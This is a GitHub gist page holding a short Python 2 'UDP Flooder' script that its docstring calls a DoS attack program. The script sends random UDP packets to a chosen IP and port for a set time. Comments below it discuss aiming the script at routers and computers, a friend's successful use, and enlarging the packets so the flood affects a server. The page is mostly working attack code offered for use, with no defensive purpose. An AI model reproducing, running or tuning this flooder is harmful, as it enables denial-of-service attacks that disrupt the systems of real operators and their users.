Created
January 10, 2017 10:24
-
-
Save hedinasr/e05f3286b6ab94ec2c5431e64832c13e to your computer and use it in GitHub Desktop.
Python UDP Flooder
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
""" | |
UDP Flooder. | |
This is a 'Dos' attack program to attack servers, you set the IP | |
and the port and the amount of seconds and it will start flooding to that server. | |
(inspire from http://hazardedit.com/forum/viewtopic.php?t=73) | |
Usage : ./flood_udp <ip> <port> <second> | |
""" | |
import time | |
import socket | |
import random | |
import sys | |
def usage(): | |
print "Usage: " + sys.argv[0] + " <ip> <port> <second>" | |
def flood(victim, vport, duration): | |
# okay so here I create the server, when i say "SOCK_DGRAM" it means it's a UDP type program | |
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) | |
# 1024 representes one byte to the server | |
bytes = random._urandom(1024) | |
timeout = time.time() + duration | |
sent = 0 | |
while 1: | |
if time.time() > timeout: | |
break | |
else: | |
pass | |
client.sendto(bytes, (victim, vport)) | |
sent = sent + 1 | |
print "Attacking %s sent packages %s at the port %s "%(sent, victim, vport) | |
def main(): | |
print len(sys.argv) | |
if len(sys.argv) != 4: | |
usage() | |
else: | |
flood(sys.argv[1], int(sys.argv[2]), int(sys.argv[3])) | |
if __name__ == '__main__': | |
main() |
I tried to target a router and computer on my own computer and i faild
My friend did and he succeed
…On Sun, May 24, 2020, 06:02 Xevion ***@***.***> wrote:
***@***.**** commented on this gist.
------------------------------
hi
should the target be a computer or a router?
If you're asking a question like that, maybe you shouldn't be using a
program like this.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
<https://gist.github.com/e05f3286b6ab94ec2c5431e64832c13e#gistcomment-3315914>,
or unsubscribe
<https://github.com/notifications/unsubscribe-auth/ALCYS33RV3DIEKWWRXC5J6DRTCE6FANCNFSM4KBH32XA>
.
Hey, what version of python is needed to run this? i am using python 2.7.15 but it just immediately closes
How did you run this script ? It should work with Python 2
The original is Python 2 and the one I provided below is Python 3 (converted). Just look at the syntax and my comment, it should be pretty apparent what 2to3'd
means...
how do you increase the size of the requests sent ? The current size isn't even affecting a local server
you can custom the data sent by modifying bytes = random._urandom(1024)
L.21.
How can I make the flood in the console when it is attacking to stop doing it once the attack is finished?
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
If you're asking a question like that, maybe you shouldn't be using a program like this.